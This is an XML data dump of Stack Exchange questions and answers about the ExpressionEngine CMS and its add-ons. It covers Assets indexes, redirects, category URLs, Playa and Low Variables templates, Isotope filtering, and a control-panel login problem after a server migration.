  <row Id="5297" PostTypeId="2" ParentId="5292" CreationDate="2013-01-23T17:15:22.037" Score="2" Body="&lt;p&gt;You always need to start by updating your indexes. That’s Assets’ equivalent of EE’s upload directory synchronization. Without updating your indexes, the File Manager won’t know that your upload directories even exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Refresh button in the File Manager is sortof a Poor Man’s Update Indexes – it will only update indexes for the currently-viewed folder’s files. But again, if you haven’t done the real Update Indexes yet, you won’t have a currently-viewed folder in the first place.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-23T17:15:22.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5298" PostTypeId="2" ParentId="5296" CreationDate="2013-01-23T17:21:09.420" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://devot-ee.com/add-ons/detour-pro&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Detour Pro&lt;/strong&gt;&lt;/a&gt; addon should do what you need.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Detour Pro handles simple redirects like this/old/page to this/new/page&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;http://devot-ee.com/add-ons/pathfinder&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;PathFinder&lt;/strong&gt;&lt;/a&gt; addon seems like it will add redirects automatically.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Configure ExpressionEngine to automatically perform an HTTP 301 redirect when the URL slug (url_title) for an entry is changed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Want to allow content editors to change URL slugs for SEO purposes or to match changes in entry titles, without losing existing search engine ranking as a result of changing the URL, and without needing a developer to setup a redirect?&lt;/strong&gt;&lt;/em&gt;  This add-on can help.&lt;/p&gt;&#xA;&lt;p&gt;Requires initial setup by someone competent with PHP.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-01-23T19:13:36.407" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5299" PostTypeId="1" AcceptedAnswerId="5990" CreationDate="2013-01-23T17:23:39.053" Score="1" ViewCount="159" Body="&lt;p&gt;playing a bit with 2.5.5, I tried to create a Safecracker form with a RTE field. But when I edit an existing entry in this form, the HTML is displayed as HTML in the RTE box (see below), like if the content were double encoded or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jfNB4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT]: Little precision, this only happened with content saved from the control panel. Entries created or edited with the Safecracker form are correct (no html tags in the RTE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT-BIS]: It is probably a bug, I posted it here: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19157&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.ellislab.com/bugs/detail/19157&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="190" LastEditorUserId="190" LastEditDate="2013-01-25T14:14:14.933" LastActivityDate="2013-02-07T17:36:12.143" Title="Safecracker and RTE: html is double encoded or something?" Tags="|safecracker|rte|v2.5.5|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5300" PostTypeId="1" AcceptedAnswerId="5310" CreationDate="2013-01-23T17:58:29.613" Score="2" ViewCount="663" Body="&lt;p&gt;Not sure if this can be done natively or if an add-on is out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to figure out a way to limit entries with multiple parent categories to just one parent and it's children. The reason, I have nested product URL's:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.com/products/parent_cat/child_cat/entry&#xA;http://domain.com/products/parent_cat/child_cat/grand_child/entry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently this works well for products with a single parent category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now entries with multiple parent categories build &quot;bad&quot; URL's in the search results with this template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/products/{categories}{category_url_title}/{/categories}{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which works, if the entry has only one parent category assigned to it. If it has multiple, I get a nested URL with parent and child categories mixed together:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.com/products/parent_cat/other_parent/child_parent_cat/child_other_parent_cat/entry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how I could limit the parent &amp;amp; child categories to just one parent tree? Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-01-23T21:09:52.703" LastActivityDate="2013-01-23T21:09:52.703" Title="Entries with multiple categories, limit categories to just one parent and it's selected children?" Tags="|channel-entries|categories|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5301" PostTypeId="1" AcceptedAnswerId="5302" CreationDate="2013-01-23T18:20:53.073" Score="4" ViewCount="577" Body="&lt;p&gt;I am trying to use Low Variables, Playa, and a &quot;Features&quot; channel to allow me to select which (3-4) features will be displayed on the Home page. The intent is that either a News, Project, or (Structure) Page may be selected (but never more than one of those) or some unrelated content (body, url, file) may be entered. This is to allow maximum flexibility. Within the &quot;Features&quot; channel there are these fields:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&quot;Features&quot; Channel&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;title&lt;/li&gt;&#xA;&lt;li&gt;feature_body (textarea -- required)&lt;/li&gt;&#xA;&lt;li&gt;feature_related_news (Playa -- select up to 1 entry from &quot;News&quot; channel)&lt;/li&gt;&#xA;&lt;li&gt;feature_related_project (Playa -- select up to 1 entry from &quot;Projects&quot; channel) &lt;/li&gt;&#xA;&lt;li&gt;feature_related_page (Playa -- select up to 1 entry from &quot;Pages&quot; channel)&lt;/li&gt;&#xA;&lt;li&gt;feature_URL (text input -- optional, only entered if no related item)&lt;/li&gt;&#xA;&lt;li&gt;feature_image (file)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Low Variables&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Variable: lv_settings_home_features_items (Playa -- select up to 4 entries from &quot;Features&quot; channel, drag and drop to reorder)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can tell that the variable is being populated (example output: &lt;code&gt;[93] [rainfall-news] Rainfall News [94] [check-out-our-work] Check Out Our Work [95] [donate] Donate&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Home Template&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Each of the different types of related items (news, project, page, or other) requires slightly different formatting and field names. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;     {exp:playa:children var=&quot;lv_settings_home_feature_items&quot; limit=&quot;3&quot;}&#xA; &amp;lt;div class=&quot;column one-third&quot;&amp;gt;&#xA; {if feature_related_news}&#xA;      {related_entries id=&quot;feature_related_news&quot;}&#xA;      &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&amp;lt;img src=&quot;{news_image:feature3}&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;      &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{/related_entries}{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA; {if:elseif feature_related_project}&#xA;      {related_entries id=&quot;feature_related_project&quot;}&#xA;      &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&amp;lt;img src=&quot;{project_image:feature3}&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;      &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{/related_entries}{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA; {if:elseif feature_related_page}&#xA;      {related_entries id=&quot;feature_related_page&quot;}&#xA;      &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&amp;lt;img src=&quot;{page_image:feature3}&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;      &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{/related_entries}{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA; {if:else}&#xA;       {feature_image}&#xA;           {if feature_url != &quot;&quot;}&amp;lt;a href=&quot;{feature_url}&quot;&amp;gt;{/if}&amp;lt;img src=&quot;{url:feature3}&quot; alt=&quot;&quot; /&amp;gt;{if feature_url != &quot;&quot;}&amp;lt;/a&amp;gt;{/if}&#xA;       {/feature_image}&#xA;      &amp;lt;h3&amp;gt;{if feature_url != &quot;&quot;}&amp;lt;a href=&quot;{feature_url}&quot;&amp;gt;{/if}{title}{if feature_url != &quot;&quot;}&amp;lt;/a&amp;gt;{/if}&amp;lt;/h3&amp;gt;&#xA; {/if}&#xA;      &amp;lt;p&amp;gt;{feature_body}&amp;lt;/p&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA; {/exp:playa:children}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above has &lt;code&gt;related_entries&lt;/code&gt; instead of the applicable Playa code. I started out with relationship fields in the Features channel but then changed them to Playa fields. The code worked when I used a &lt;code&gt;exp:channel:entries channel=&quot;Features&quot;&lt;/code&gt; to wrap the entire thing (and just outputted the 3 most recent Features), but once I put the Low Variable in and outer Playa tags on it doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Playa documentation says that to use nested relationships you need to use embeds. How would I structure those to achieve my goal? Or is there some other way? How do I pull the different chunks out of the LV?&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2013-01-23T19:11:08.070" Title="Playa and Low Variables for Featured section of Home page" Tags="|playa|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5302" PostTypeId="2" ParentId="5301" CreationDate="2013-01-23T18:27:49.123" Score="4" Body="&lt;p&gt;If you want to output the entries that you selected in the LV-Playa field, use the &lt;a href=&quot;http://gotolow.com/addons/low-variables/docs/tags#parse-tag&quot; rel=&quot;nofollow&quot;&gt;Parse (or its alias: Pair) tag&lt;/a&gt;. You can then use any of the parameters can use with a playa:children tag. So, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;lv_settings_home_feature_items&quot; limit=&quot;3&quot;}&#xA;    ...more code here...&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get to the other related fields, don't use the native relationship syntax like you're ding, but use Playa tags or the var-pair syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{feature_related_news}&#xA;    ...code here...&#xA;{/feature_related_news}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2013-01-23T19:11:08.070" LastActivityDate="2013-01-23T19:11:08.070" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5303" PostTypeId="1" AcceptedAnswerId="5309" CreationDate="2013-01-23T18:30:02.993" Score="2" ViewCount="309" Body="&lt;p&gt;I want to upgrade my EE1.7.1 installation to EE2. My existing site has been in existence since the early days of pmachine and so has a lot of legacy plugins, etc including the image gallery, a discussion forum, etc. So, before just blindly upgrading, I want to do a &quot;practice run&quot;. I copied my data base and files to a new server hosted by EngineHosting following the instructions for migrating to a new server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I can access the index page of the new site okay, I cannot log into the CP in order to change all the settings I need to change to complete the migration. (I plan to use Deeploy which is installed in the migrated site.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I enter my login and password (using the correct credentials), I am just taken back to the CP login page. (If I use incorrect credentials, I get an error message that my username or password is incorrect.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen similar posts that blame cookies for this, but I don't think that is the problem. I've cleared my browser cache and cookies, tried several browsers, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had this question posted over at the EE site for a while and someone kindly directed me here, thinking someone might be able to help coach me through resolving this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rick&lt;/p&gt;&#xA;" OwnerUserId="881" LastActivityDate="2014-09-12T17:04:17.380" Title="Moved EE1.7.1 site to new server and can't log into CP" Tags="|control-panel|login|server-migration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5304" PostTypeId="2" ParentId="5300" CreationDate="2013-01-23T18:36:35.880" Score="0" Body="&lt;p&gt;You can us the limit function with &lt;code&gt;{categories}&lt;/code&gt; pair tag. This would still allow multiple categories, parent and children, but only display one for url purposes. like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/products/{categories limit=&quot;1&quot;}{category_url_title}/{/categories}{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise, take a look at GWCode's &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GW Categories&lt;/a&gt;. It allows an insane amount of category control.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-23T18:36:35.880" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5305" PostTypeId="2" ParentId="5300" CreationDate="2013-01-23T18:40:28.583" Score="1" Body="&lt;p&gt;It looks like &lt;a href=&quot;http://devot-ee.com/add-ons/primary-category&quot; rel=&quot;nofollow&quot;&gt;Primary Category&lt;/a&gt; might help you&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-23T18:40:28.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5306" PostTypeId="1" AcceptedAnswerId="5319" CreationDate="2013-01-23T19:01:09.567" Score="2" ViewCount="319" Body="&lt;p&gt;I'm just wondering if there is a quick way to get a user's signature using something like the session class? For example to grab the active user's email from the session class you can simply call $this-&gt;EE-&gt;session-&gt;userdata('email');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am referring to the native signature value also, and not a custom member field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer to avoid running a secondary database query to get the information as time is definitely an issue in our case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers, &#xA;Conor&lt;/p&gt;&#xA;" OwnerUserId="695" LastActivityDate="2013-01-23T23:33:06.687" Title="Quick way to get user's signature in PHP" Tags="|custom-fields|database|query|sessions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5307" PostTypeId="2" ParentId="5291" CreationDate="2013-01-23T19:09:57.237" Score="0" Body="&lt;p&gt;This sounds like it's an issue on your server since it was working and now is not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd first test to see if you are having timeouts when sending from the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/communicate.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Communicate page&lt;/strong&gt;&lt;/a&gt; in EE. If you can't send from the Communicate page, enable &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/email_configuration.html#enable-email-debugging&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Email Debugging&lt;/strong&gt;&lt;/a&gt; to see what's going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check your PHP error logs to see what you see. An error related to the timeout may exist there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If necessary, contact your host to see if they have changed anything on the server related to PHPMail/SMTP (I'm not clear from your comment which one you are using exactly)... Send them the info you find in the debugging and logs.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-23T19:09:57.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5308" PostTypeId="2" ParentId="5293" CreationDate="2013-01-23T19:10:51.677" Score="1" Body="&lt;p&gt;Assuming, that your pulling all your data from one or more channels, have you considered just using Javascript filters, like &lt;a href=&quot;http://isotope.metafizzy.co/index.html&quot; rel=&quot;nofollow&quot;&gt;Isotope&lt;/a&gt;. I've linked to the &lt;a href=&quot;http://isotope.metafizzy.co/demos/combination-filters.html&quot; rel=&quot;nofollow&quot;&gt;Isotope: Combination Filters&lt;/a&gt; Because, they're closer to what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here's an example of EE with Isotope, on a project still in development, &lt;a href=&quot;http://gettingstartedguide.org&quot; rel=&quot;nofollow&quot;&gt;Getting Started Guide: Madisonium&lt;/a&gt;. I haven't optimize images or javascript yet, since its still in active development, so it a tad slower than I like, but here's sample code of what I'm doing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Filters&lt;/strong&gt;: I'm just using basic filters, not combination, in the true sense. They are combined with categories, but not with other tags.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- BREADCRUMB FILTERS --&amp;gt;&#xA;&#xA;&amp;lt;section id=&quot;options&quot; class=&quot;clearfix&quot;&amp;gt;&#xA;    &amp;lt;ul id=&quot;filters&quot; class=&quot;option-set clearfix breadcrumbs&quot; data-option-key=&quot;filter&quot;&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;span&amp;gt;&amp;lt;b&amp;gt;Filters&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;span&amp;gt;&amp;lt;a href=&quot;#filter&quot; data-option-value=&quot;*&quot; class=&quot;selected&quot;&amp;gt;show all&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {exp:tag:cloud limit=&quot;6&quot; orderby=&quot;total_entries&quot; sort=&quot;desc&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;span&amp;gt;&amp;lt;a href=&quot;#filter&quot; data-option-value=&quot;.{tag}&quot;&amp;gt;{tag}&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;{/exp:tag:cloud}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&#xA;&amp;lt;!-- // END BREADCRUMB FILTERS--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Entries&lt;/strong&gt;: The entries are primarily just images with an overlay to provide more info.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;filterable-profiles&quot; class=&quot;clearfix&quot;&amp;gt;&#xA;&#xA;{exp:channel:entries site=&quot;guide&quot; channel=&quot;people&quot; limit=&quot;30&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;&#xA;    &amp;lt;div class=&quot;clearfix profile four columns{exp:tag:tags entry_id='{entry_id}' limit='5' orderby='total_entries' sort='desc'} {tag}{/exp:tag:tags}&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;profile-meta&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{profile_type}/profile/{url_title}/&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;/{profile_type}/profile/{url_title}/&quot;&amp;gt;{if profile_position !=&quot;&quot;}{profile_position}{/if}{if profile_organization !=&quot;&quot; AND profile_position !=&quot;&quot;}, {profile_organization}{if:else}{profile_organization}{/if}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;p&amp;gt;{profile_summary}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;img src=&quot;/images/profiles/{profile_image}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Javascript&lt;/strong&gt;: This is just straight from Isotope, with minor modifications. Our item selector is our profile class, and the container is &lt;code&gt;id=&quot;filterable-profiles&quot;&lt;/code&gt;. We use CloudFlare as a CDN for client projects, so that's the &lt;code&gt;rocketscript&lt;/code&gt; reference you'll see. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/rocketscript&quot; data-rocketsrc=&quot;http://gettingstartedguide.org/scripts/isotope/jquery.isotope.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/rocketscript&quot;&amp;gt;&#xA;    $(function(){&#xA;&#xA;      var $container = $('#filterable-profiles');&#xA;&#xA;      $container.isotope({&#xA;        itemSelector : '.profile'&#xA;      });&#xA;&#xA;&#xA;      var $optionSets = $('#options .option-set'),&#xA;          $optionLinks = $optionSets.find('a');&#xA;&#xA;      $optionLinks.click(function(){&#xA;        var $this = $(this);&#xA;        // don't proceed if already selected&#xA;        if ( $this.hasClass('selected') ) {&#xA;          return false;&#xA;        }&#xA;        var $optionSet = $this.parents('.option-set');&#xA;        $optionSet.find('.selected').removeClass('selected');&#xA;        $this.addClass('selected');&#xA;&#xA;        // make option object dynamically, i.e. { filter: '.my-filter-class' }&#xA;        var options = {},&#xA;            key = $optionSet.attr('data-option-key'),&#xA;            value = $this.attr('data-option-value');&#xA;        // parse 'false' as false boolean&#xA;        value = value === 'false' ? false : value;&#xA;        options[ key ] = value;&#xA;        if ( key === 'layoutMode' &amp;amp;&amp;amp; typeof changeLayoutMode === 'function' ) {&#xA;          // changes in layout modes need extra logic&#xA;          changeLayoutMode( $this, options )&#xA;        } else {&#xA;          // otherwise, apply new options&#xA;          $container.isotope( options );&#xA;        }&#xA;&#xA;        return false;&#xA;      });&#xA;&#xA;&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically though, as long as you can add the categories or other parameters as part of the &lt;code&gt;&amp;lt;div class=&quot;brand1 size1 color1&quot;&amp;gt;&lt;/code&gt; component, Isotope can filter, singularly or in combination. My example, is the singular. But it would work with combinations as well. No search required.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-23T19:10:51.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5309" PostTypeId="2" ParentId="5303" CreationDate="2013-01-23T19:21:44.877" Score="5" Body="&lt;p&gt;Try adding the following at the end of your configs in the config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conf['secure_forms'] = &quot;n&quot;;&#xA;$conf['cookie_domain'] = &quot;&quot;;&#xA;$conf['cookie_path'] = &quot;&quot;;&#xA;$conf['cookie_prefix'] = &quot;&quot;;&#xA;$conf['admin_session_type'] = &quot;cs&quot;;&#xA;$conf['require_ip_for_login'] = &quot;n&quot;;&#xA;$conf['require_ip_for_posting'] = &quot;n&quot;; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;MOST LIKELY THE ISSUE IS THIS LINE:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conf['cookie_path'] = &quot;&quot;; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-09-12T17:04:17.380" LastActivityDate="2014-09-12T17:04:17.380" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5310" PostTypeId="2" ParentId="5300" CreationDate="2013-01-23T20:25:07.027" Score="2" Body="&lt;p&gt;I got this working correctly by using the &lt;a href=&quot;http://www.solspace.com/docs/primary_category&quot; rel=&quot;nofollow&quot;&gt;Primary Category&lt;/a&gt; extension as Yuri recommended! I thought I would post my solution to help others in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a conditional to check if the primary category is set and then built the URL based off the condition. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if it returns true, the &lt;code&gt;{primary_category_url_title}&lt;/code&gt; is placed outside the &lt;code&gt;{categories}&lt;/code&gt; variable pair since it's going to be skipped inside the pair. Then I have another condition to skip all categories that don't have the same &lt;code&gt;parent_id&lt;/code&gt; as the primary category set. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if primary_category_id}&#xA;    &amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;{product_ci_model}&amp;lt;/strong&amp;gt;: &amp;lt;a href=&quot;/products/{primary_category_url_title}/{categories}{if parent_id == primary_category_id}{category_url_title}/{/if}{/categories}{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt; - &amp;lt;em&amp;gt;Product&amp;lt;em&amp;gt;&amp;lt;/li&amp;gt;&#xA;{if:else}&#xA;    &amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;{product_ci_model}&amp;lt;/strong&amp;gt;: &amp;lt;a href=&quot;/products/{categories}{category_url_title}/{/categories}{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt; - &amp;lt;em&amp;gt;Product&amp;lt;em&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-01-23T20:25:07.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5311" PostTypeId="1" CreationDate="2013-01-23T20:38:04.903" Score="3" ViewCount="894" Body="&lt;p&gt;I am trying to pass the template name in my  tag and wanted to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html id=&quot;template-{template_name}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea how to get the name of the template? Thinking aloud it'd be cool to also maybe suffix the template group as well. So a template embeds/_foo would return &quot;embeds-_foo&quot; ideally?&lt;/p&gt;&#xA;" OwnerUserId="565" LastActivityDate="2015-12-02T06:59:13.740" Title="How can I get the template name in the template?" Tags="|templates|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5312" PostTypeId="1" AcceptedAnswerId="5390" CreationDate="2013-01-23T20:42:01.680" Score="0" ViewCount="56" Body="&lt;p&gt;I have Assets 2.0.3 as a field in a Safecracker form. The buttons created by Assets have the class &quot;assets-btn&quot;, leaving me with pink buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than overriding CSS for these buttons I would rather use a different class to use the styling of Twitter Bootstrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The styling in Assets 1 was far more generic and preferable for including in  Safecracker form.)&lt;/p&gt;&#xA;" OwnerUserId="411" LastActivityDate="2013-01-25T09:09:24.310" Title="Change the class of the Assets buttons in a Safecracker form" Tags="|safecracker|assets|css|bootstrap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5313" PostTypeId="1" AcceptedAnswerId="5330" CreationDate="2013-01-23T21:04:43.927" Score="1" ViewCount="411" Body="&lt;p&gt;Is it possible to add a currency drop-down to Expresso Store's front end to change the currency in the back-end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand I can have the values output as integers and provide conversions via JS, but the cart value would still be in the currency set in the cp, and the transaction would also be in that currency, correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2015-09-09T19:42:01.050" Title="Multiple currencies in Expresso Store" Tags="|expresso-store|currency|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5314" PostTypeId="2" ParentId="5311" CreationDate="2013-01-23T21:09:44.390" Score="2" Body="&lt;p&gt;Well if you're not using embeds for the template then you could use segment_1 and segment_2. However I do not believe what you want to do is possible.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-01-23T21:09:44.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
